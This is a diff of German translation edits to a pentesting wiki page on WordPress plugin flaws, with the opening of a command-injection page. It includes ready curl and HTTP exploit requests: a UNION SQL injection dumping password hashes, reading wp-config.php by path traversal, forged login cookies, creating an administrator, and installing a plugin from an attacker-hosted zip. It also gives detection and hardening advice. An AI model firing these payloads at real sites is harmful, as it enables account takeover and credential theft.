-Viele Plugins implementieren eine "view as role" oder temporäre Rollentausch-Funktion, indem sie die ursprünglichen Rolle(n) im user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungsweg ausschließlich auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer plugin-gepflegten Liste beruht, ohne capabilities und einen gültigen nonce zu prüfen, führt das zu einer vertikalen Privilegieneskalation.
+Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprünglichen Rolle(n) in user meta speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z.B. `$_REQUEST['reset-for']`) und einer vom Plugin verwalteten Liste beruht, ohne Capabilities und ein gültiges Nonce zu prüfen, führt das zu einer vertical privilege escalation.
 
-Ein reales Beispiel fand sich im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1). Der Reset-Zweig stellte Rollen anhand von `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die in user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden:
+Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder einen `current_user_can()`-Check noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die in user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen erneut hinzugefügt wurden:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -483,9 +483,9 @@ Warum es ausnutzbar ist
 
 - Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung.
 - Wenn ein Benutzer zuvor höhere Privilegien in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
-- In einigen Deployments konnte jeder authentifizierte Benutzer ein Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
+- In manchen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
 
-Exploitation (Beispiel)
+Exploitation (example)
 ```bash
 # While logged in as the downgraded user (or any auth user able to trigger the code path),
 # hit any route that executes the role-switcher logic and include the reset parameter.
@@ -493,23 +493,23 @@ Exploitation (Beispiel)
 curl -s -k -b 'wordpress_logged_in=...' \
 'https://victim.example/wp-admin/?reset-for=<your_username>'
 ```
-Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten “original roles” (z. B. `administrator`) wieder hinzu, wodurch effektiv privilege escalation erfolgt.
+Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen (z. B. `administrator`) wieder hinzu, wodurch effektiv Privilegien eskaliert werden.
 
 Detection checklist
 
-- Suchen Sie nach role-switching-Funktionen, die “original roles” im user meta speichern (z. B. `_asenha_view_admin_as_original_roles`).
-- Identifizieren Sie Reset/Restore-Pfade, die:
-- Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen.
-- Rollen über `add_role()` / `remove_role()` ändern, ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` zu verwenden.
-- Auf Basis eines Plugin-Options-Arrays autorisieren (z. B. `viewing_admin_as_role_are`) statt anhand der capabilities des Akteurs.
+- Achte auf role-switching-Features, die “original roles” in user meta persistieren (z. B. `_asenha_view_admin_as_original_roles`).
+- Identifiziere Reset-/Restore-Pfade, die:
+- Lese Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST`.
+- Ändere Rollen via `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()`.
+- Authorisiere basierend auf einem Plugin-Options-Array (z. B. `viewing_admin_as_role_are`) statt auf den Fähigkeiten des Akteurs.
 
 ---
 
-### Nicht authentifizierte privilege escalation via cookie‑trusted user-switching on public init (Service Finder “sf-booking”)
+### Nicht authentifizierte Privilegieneskalation durch cookie‑vertrauenswürdiges User-Switching am öffentlichen init (Service Finder “sf-booking”)
 
-Einige Plugins binden user-switching-Hilfsfunktionen an den öffentlichen `init` Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und einen gültigen Nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige User-ID erzwingen.
+Einige Plugins hängen user-switching-Hilfsfunktionen an den öffentlichen `init`-Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige Benutzer-ID erzwingen.
 
-Typisches vulnerables Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
+Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
 ```php
 function service_finder_submit_user_form(){
 if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.');
 ```
 Warum es ausnutzbar ist
 
-- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (keine `is_user_logged_in()`-Abfrage).
-- Die Identität wird aus einem vom Client änderbaren Cookie (`original_user_id`) abgeleitet.
-- Direkter Aufruf von `wp_set_auth_cookie($uid)` meldet den Anfragenden als diesen Benutzer an, ohne Capability- oder Nonce-Prüfungen.
+- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (kein `is_user_logged_in()`-Schutz).
+- Die Identität wird aus einem vom Client veränderbaren Cookie (`original_user_id`) abgeleitet.
+- Ein direkter Aufruf von `wp_set_auth_cookie($uid)` meldet den Anfragenden als diesen Benutzer an, ohne Capability-/Nonce-Prüfungen.
 
-Exploitation (unauthenticated)
+Ausnutzung (nicht authentifiziert)
 ```http
 GET /?switch_back=1 HTTP/1.1
 Host: victim.example
@@ -554,34 +554,34 @@ Connection: close
 ```
 ---
 
-### WAF-Überlegungen für WordPress/plugin CVEs
+### WAF-Überlegungen für WordPress-/Plugin-CVEs
 
-Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochwirksame WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik- oder auth-Fehler, die wie harmloser Traffic aussehen, sofern die Engine WordPress-Routen und Plugin-Semantik nicht versteht.
+Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) ausgelegt. Viele hochkritische WordPress-/Plugin-Schwachstellen sind anwendungsspezifische Logik-/auth-Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress-Routen und Plugin-Semantik versteht.
 
 Offensive Hinweise
 
-- Ziele plugin-spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
-- Teste zuerst unauth-Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, öffentliche shortcodes). Standard-Payloads funktionieren oft ohne Verschleierung.
-- Typische hochwirksame Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
+- Ziele plugin-spezifische Endpunkte mit sauberen payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
+- Teste zuerst unauth-Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, öffentliche shortcodes). Default payloads gelingen oft ohne obfuscation.
+- Typische hochkritische Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
 
 Defensive Hinweise
 
-- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz von plugin-CVEs. Implementiere application-layer, vulnerability-specific virtual patches oder aktualisiere schnell.
-- Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) gegenüber negativen Regex-Filtern.
+- Verlass dich nicht auf generische WAF-Signaturen zum Schutz von Plugin-CVEs. Implementiere auf Anwendungsebene abgestimmte, schwachstellenspezifische virtuelle Patches oder aktualisiere schnell.
+- Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Input-Validierung) statt negativer regex-Filter.
 
 ## WordPress-Schutz
 
 ### Regelmäßige Updates
 
-Stelle sicher, dass WordPress, plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Updating in wp-config.php aktiviert ist:
+Stelle sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
 ```bash
 define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Außerdem **installiere nur vertrauenswürdige WordPress-Plugins und -Themes**.
+Also, **installiere außerdem nur vertrauenswürdige WordPress-Plugins und Themes**.
 
-### Security Plugins
+### Sicherheits-Plugins
 
 - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
 - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
@@ -589,16 +589,16 @@ Außerdem **installiere nur vertrauenswürdige WordPress-Plugins und -Themes**.
 
 ### **Weitere Empfehlungen**
 
-- Entferne den Standard-**admin**-Benutzer
+- Entferne den Standardbenutzer **admin**
 - Verwende **starke Passwörter** und **2FA**
 - Überprüfe regelmäßig die **Berechtigungen** der Benutzer
-- **Begrenze Anmeldeversuche**, um Brute Force-Angriffe zu verhindern
-- Benenne die Datei **`wp-admin.php`** um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
+- Begrenze **Login-Versuche**, um Brute Force attacks zu verhindern
+- Benenne die Datei `wp-admin.php` um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
 
 
-### Nicht authentifizierte SQL Injection aufgrund unzureichender Validierung (WP Job Portal <= 2.3.2)
+### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
 
-Das WP Job Portal Recruitment-Plugin hat eine **savecategory**-Aufgabe offengelegt, die letztlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
+Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe zur Verfügung, die letztendlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
 ```php
 $category  = WPJOBPORTALrequest::getVar('parentid');
 $inquery   = ' ';
@@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
 $query  = "SELECT max(ordering)+1 AS maxordering FROM "
 . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
 ```
-Durch diesen Codeausschnitt verursachte Probleme:
+Probleme, die durch diesen Ausschnitt entstehen:
 
-1. **Ungefilterte Benutzereingabe** – `parentid` kommt direkt aus der HTTP-Anfrage.
-2. **String-Konkatenation innerhalb der WHERE-Klausel** – keine `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Nicht authentifizierte Erreichbarkeit** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), das jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet.
+1. **Unsanitised user input** – `parentid` kommt direkt aus der HTTP-Anfrage.
+2. **String concatenation inside the WHERE clause** – keine `is_numeric()` / `esc_sql()` / prepared statement.
+3. **Unauthenticated reachability** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Kontrolle ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode `[wpjobportal_my_resumes]` abrufen kann.
 
-#### Ausnutzung
+#### Exploitation
 
-1. Einen frischen Nonce abrufen:
+1. Grab a fresh nonce:
 ```bash
 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
 ```
-2. Arbiträres SQL injizieren, indem `parentid` missbraucht wird:
+2. Inject arbitrary SQL by abusing `parentid`:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'task=savecategory' \
@@ -628,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'parentid=0 OR 1=1-- -' \
 -d 'cat_title=pwn' -d 'id='
 ```
-Die Antwort offenbart das Ergebnis der injizierten Abfrage oder verändert die Datenbank, was die SQLi beweist.
+Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist.
 
 
 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
 
-Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, beliebige Dateien auf der Festplatte via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
+Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, **jede Datei auf der Festplatte** via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
 ```php
 $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name` wird vom Angreifer kontrolliert und ohne Bereinigung zusammengefügt. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der Resume-Seite abgerufen werden kann.
+`$file_name` wird vom Angreifer kontrolliert und ohne **Sanitierung** verkettet. Wieder ist die einzige Hürde ein **CSRF nonce**, das von der resume page abgerufen werden kann.
 
-#### Exploitation
+#### Ausnutzung
 ```bash
 curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'task=downloadcustomfile' \
@@ -650,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'entity_id=1' \
 --data-urlencode 'file_name=../../../wp-config.php'
 ```
-Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials und auth keys.
+Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials and auth keys.
 
-## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
+## Nicht authentifizierte Kontoübernahme via Social Login AJAX-Fallback (Jobmonster Theme <= 4.7.9)
 
-Viele themes/plugins enthalten "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine unauthenticated AJAX action (wp_ajax_nopriv_...) den vom Client gelieferten Identifier vertraut, weil provider data fehlt, und anschließend wp_set_auth_cookie() aufruft, führt das zu einem vollständigen authentication bypass.
+Viele Themes/Plugins liefern "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine nicht authentifizierte AJAX-Aktion (wp_ajax_nopriv_...) client-seitig gelieferte Identifikatoren vertraut, sobald Provider-Daten fehlen, und dann wp_set_auth_cookie() aufruft, wird daraus eine vollständige Authentifizierungsumgehung.
 
 Typisches fehlerhaftes Muster (vereinfacht)
 ```php
@@ -687,15 +687,15 @@ wp_send_json(['status' => 'not_user']);
 ```
 Warum es ausnutzbar ist
 
-- Nicht authentifiziert erreichbar über admin-ajax.php (wp_ajax_nopriv_… action).
-- Keine nonce/capability-Checks vor einer Zustandsänderung.
-- Fehlende OAuth/OpenID-Provider-Verifizierung; der Standardzweig akzeptiert Eingaben des Angreifers.
-- get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anforderer als jede existierende E-Mail-Adresse.
+- Unauthentifizierte Erreichbarkeit über admin-ajax.php (wp_ajax_nopriv_… action).
+- Keine nonce-/capability-Prüfungen vor Zustandsänderungen.
+- Fehlende OAuth/OpenID Provider-Verifizierung; der Default-Branch akzeptiert Eingaben des Angreifers.
+- get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anfragenden als jede existierende E-Mail-Adresse.
 
 Ausnutzung (nicht authentifiziert)
 
-- Voraussetzungen: Der Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail-Adresse.
-- Setze provider auf einen nicht unterstützten Wert (oder lasse ihn weg), um den Standardzweig zu erreichen und id=<victim_email> zu übergeben.
+- Voraussetzungen: Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail.
+- Setze provider auf einen nicht unterstützten Wert (oder lass ihn weg), um den Default-Branch zu erreichen und id=<victim_email> zu übergeben.
 ```http
 POST /wp-admin/admin-ajax.php HTTP/1.1
 Host: victim.tld
@@ -710,33 +710,33 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
 ```
 Expected success indicators
 
-- HTTP 200 mit einem JSON-Body wie {"status":"success","message":"Login successfully."}.
-- Set-Cookie: wordpress_logged_in_* für den betroffenen Benutzer; nachfolgende Anfragen sind authentifiziert.
+- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
+- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
 
 Finding the action name
 
-- Untersuche das Theme/Plugin nach add_action('wp_ajax_nopriv_...', '...') Registrierungen im Social-Login-Code (z. B. framework/add-ons/social-login/class-social-login.php).
-- Grep nach wp_set_auth_cookie(), get_user_by('email', ...) innerhalb von AJAX-Handlern.
+- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
+- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
 
 Detection checklist
 
-- Weblogs, die unauthentifizierte POSTs an /wp-admin/admin-ajax.php mit der social-login Action und id=<email> zeigen.
-- 200-Antworten mit dem success-JSON unmittelbar vor authentifiziertem Traffic von derselben IP/User-Agent.
+- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
+- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
 
 Hardening
 
-- Leite Identität nicht aus Client-Eingaben ab. Akzeptiere nur E-Mails/IDs, die aus einem validierten Provider-Token/ID stammen.
-- Erfordere CSRF-Nonces und capability-Checks auch für Login-Hilfen; vermeide das Registrieren von wp_ajax_nopriv_ außer wenn unbedingt notwendig.
-- Validiere und verifiziere OAuth/OIDC-Antworten serverseitig; lehne fehlende/ungültige Provider ab (kein Fallback auf POST id).
-- Erwäge, Social Login vorübergehend zu deaktivieren oder am Edge virtuell zu patchen (die verwundbare Action blockieren), bis ein Fix vorhanden ist.
+- Ableiten der Identität nicht aus Client-Eingaben. Akzeptiere nur emails/IDs, die von einem validierten Provider-Token/ID stammen.
+- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
+- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
+- Erwäge, social login vorübergehend zu deaktivieren oder virtuell am Edge zu patchen (die verwundbare action blockieren), bis ein Fix verfügbar ist.
 
 Patched behaviour (Jobmonster 4.8.0)
 
-- Den unsicheren Fallback von $_POST['id'] entfernt; $user_email muss aus verifizierten Provider-Branches in switch($_POST['using']) stammen.
+- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
 
 ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
 
-Einige Plugins stellen REST-Endpunkte bereit, die wiederverwendbare „connection keys“ oder Tokens erzeugen, ohne die Fähigkeiten des Anrufers zu überprüfen. Wenn die Route nur anhand eines erratbaren Attributs (z. B. username) authentifiziert und den Key nicht mit einem Benutzer/Session mittels capability-Checks verknüpft, kann jeder nicht authentifizierte Angreifer einen Key erstellen und privilegierte Aktionen ausführen (Admin-Account-Erstellung, Plugin-Aktionen → RCE).
+Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
 
 - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
 - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
@@ -757,53 +757,53 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
 --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
 ```
 Warum es ausnutzbar ist
-- Sensible REST-Route, die nur durch einen gering entropischen Identitätsnachweis (username) geschützt ist oder permission_callback fehlt
-- Keine capability enforcement; minted key wird als universeller Bypass akzeptiert
+- Sensible REST-Route, die nur durch einen Identitätsnachweis mit niedriger Entropie (username) geschützt ist oder ein fehlendes permission_callback aufweist
+- Keine Durchsetzung von Capabilities; ausgestellter Key wird als universeller Umgehungsmechanismus akzeptiert
 
-Erkennungs-Checkliste
-- Grep den Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ])
-- Jede Route, die Tokens/Keys basierend auf einer request-supplied Identität (username/email) ausstellt, ohne sie an einen authentifizierten Benutzer oder an eine capability zu binden
-- Suche nach nachgelagerten Routen, die den minted token/key ohne serverseitige capability-Prüfungen akzeptieren
+Detection checklist
+- Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ]) durchsuchen (z. B. mit grep)
+- Jede Route, die Tokens/Keys basierend auf der in der Anfrage angegebenen Identität (username/email) ausstellt, ohne diese an einen authentifizierten Benutzer oder eine Capability zu binden
+- Suche nach nachfolgenden Routen, die den ausgestellten Token/Key ohne serverseitige Capability-Prüfungen akzeptieren
 
-Härtung
-- Für jede privilegierte REST-Route: permission_callback verlangen, das current_user_can() für die benötigte capability erzwingt
-- Erzeuge keine long-lived keys aus client-supplied identity; falls nötig, gib kurzlebige, an den Nutzer gebundene Tokens nach Authentifizierung aus und prüfe beim Gebrauch die capabilities erneut
-- Validiere den User-Kontext des Aufrufers (wp_set_current_user ist nicht ausreichend allein) und lehne Requests ab, bei denen !is_user_logged_in() || !current_user_can(<cap>)
+Hardening
+- Für jede privilegierte REST-Route: erfordere ein permission_callback, das current_user_can() für die erforderliche Capability durchsetzt
+- Stelle keine langlebigen Keys aus der vom Client gelieferten Identität aus; falls nötig, gib kurzlebige, an den Benutzer gebundene Tokens nach Authentifizierung aus und überprüfe die Capabilities bei Verwendung erneut
+- Validiere den Benutzerkontext des Aufrufers (wp_set_current_user ist allein nicht ausreichend) und lehne Anfragen ab, wenn !is_user_logged_in() || !current_user_can(<cap>)
 
 ---
 
 ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
 
-Nonces verhindern CSRF, nicht Autorisierung. Wenn Code ein erfolgreiches Nonce-Pass als Freigabe behandelt und dann capability checks für privilegierte Operationen (z.B. install/activate plugins) überspringt, können nicht-authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und RCE erreichen, indem sie ein backdoored oder verwundbares Plugin installieren.
+Nonces verhindern CSRF, nicht die Autorisierung. Wenn Code einen erfolgreichen Nonce-Check als Freifahrtsschein behandelt und dann Capability-Prüfungen für privilegierte Operationen (z. B. installieren/aktivieren von Plugins) überspringt, können nicht authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und durch Installation eines mit Backdoor versehenen oder verwundbaren Plugins RCE erreichen.
 
 - Vulnerable path: plugin/install_and_activate
 - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
 - Impact: full compromise via arbitrary plugin install/activation
 
-PoC (Form hängt vom Plugin ab; nur illustrativ)
+PoC (shape depends on plugin; illustrative only)
 ```bash
 curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
 -H 'Content-Type: application/json' \
 --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
 ```
-Detection checklist
-- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
-- Any code path that sets $skip_caps = true after nonce validation
+Erkennungs-Checkliste
+- REST/AJAX-Handler, die Plugins/Themes ändern und nur wp_verify_nonce()/check_admin_referer() verwenden und keinen capability check durchführen
+- Jeder Codepfad, der $skip_caps = true setzt, nachdem die Nonce validiert wurde
 
-Hardening
-- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
-- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
-- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
+Härtung
+- Behandle nonces immer nur als CSRF tokens; erzwinge capability checks unabhängig vom Nonce-Status
+- Erfordere current_user_can('install_plugins') und current_user_can('activate_plugins'), bevor Installer-Code erreicht wird
+- Verweigere nicht-authentifizierten Zugriff; vermeide das Offenlegen von nopriv AJAX actions für privilegierte Abläufe
 
 ---
 
-## Nicht authentifizierte SQLi über den Parameter s (search) in depicter-* actions (Depicter Slider ≤ 3.6.1)
+## Nicht-authentifizierter SQLi über den s (search)-Parameter in depicter-* Aktionen (Depicter Slider ≤ 3.6.1)
 
-Mehrere depicter-* actions verwendeten den Parameter s (search) und haben ihn ohne Parameterisierung in SQL-Abfragen verkettet.
+Mehrere depicter-* Aktionen verwendeten den s (search)-Parameter und setzten ihn ohne Parameterisierung in SQL-Abfragen ein.
 
 - Parameter: s (search)
-- Flaw: direkte String-Konkatenation in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
-- Impact: Datenbank-Exfiltration (users, hashes), laterale Bewegung
+- Fehler: direkte String-Verkettung in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
+- Auswirkung: Datenbank-Exfiltration (Benutzer, Hashes), laterale Bewegung
 
 PoC
 ```bash
@@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
 --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
 ```
 Detection checklist
-- Grep nach depicter-* action handlers und direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL
-- Überprüfe benutzerdefinierte Queries, die an $wpdb->get_results()/query() übergeben werden und s konkatenieren
+- Grep nach depicter-* Action-Handlern und nach direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL
+- Überprüfe benutzerdefinierte Abfragen, die an $wpdb->get_results()/query() übergeben werden und das s-Parameter per Verkettung verwenden
 
 Hardening
-- Verwende immer $wpdb->prepare() oder wpdb-Platzhalter; lehne unerwartete Metazeichen serverseitig ab
+- Verwende immer $wpdb->prepare() oder wpdb-Placeholders; lehne unerwartete Metazeichen serverseitig ab
 - Füge eine strikte Allowlist für s hinzu und normalisiere auf erwarteten Zeichensatz/Länge
 
 ---
 
-## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
+## Unauthenticated Local File Inclusion über einen nicht validierten Template-/Dateipfad (Kubio AI Page Builder ≤ 2.5.1)
 
-Das Akzeptieren von angreiferkontrollierten Pfaden in einem Template-Parameter ohne Normalisierung/Containment ermöglicht das Lesen beliebiger lokaler Dateien und in manchen Fällen Codeausführung, wenn einbindbare PHP- oder Log-Dateien zur Laufzeit eingebunden werden.
+Die Annahme vom Angreifer kontrollierter Pfade in einem Template-Parameter ohne Normalisierung/Einschränkung ermöglicht das Lesen beliebiger lokaler Dateien und manchmal Codeausführung, wenn einbindbare PHP-/Log-Dateien zur Laufzeit eingebunden werden.
 
 - Parameter: __kubio-site-edit-iframe-classic-template
-- Flaw: keine Normalisierung/Allowlist; Traversal erlaubt
-- Impact: Offenlegung von Secrets (wp-config.php), potenzielles RCE in bestimmten Umgebungen (log poisoning, includable PHP)
+- Flaw: keine Normalisierung/Allowlisting; Traversal erlaubt
+- Impact: Offenlegung geheimer Daten (wp-config.php), potentielles RCE in bestimmten Umgebungen (log poisoning, includable PHP)
 
 PoC – wp-config.php lesen
 ```bash
 curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
 ```
 Checkliste zur Erkennung
-- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks zusammenfügt, ohne realpath() zur Einschränkung zu verwenden
-- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen templates-Verzeichnisses gelangen
+- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks verkettet, ohne realpath()-Containment
+- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen Templates-Verzeichnisses gelangen
 
-Härtung
-- Allowlist für Templates erzwingen; Datei mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
-- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für vollständige Pfade)
+Hardening
+- Allowlist für Templates durchsetzen; mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
+- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für komplette Pfade)
 
 
 ## Referenzen

src/pentesting-web/command-injection.md

@@ -4,11 +4,11 @@
 
 ## Was ist command Injection?
 
-Eine **command injection** ermöglicht einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff zu erlangen oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu übernehmen.
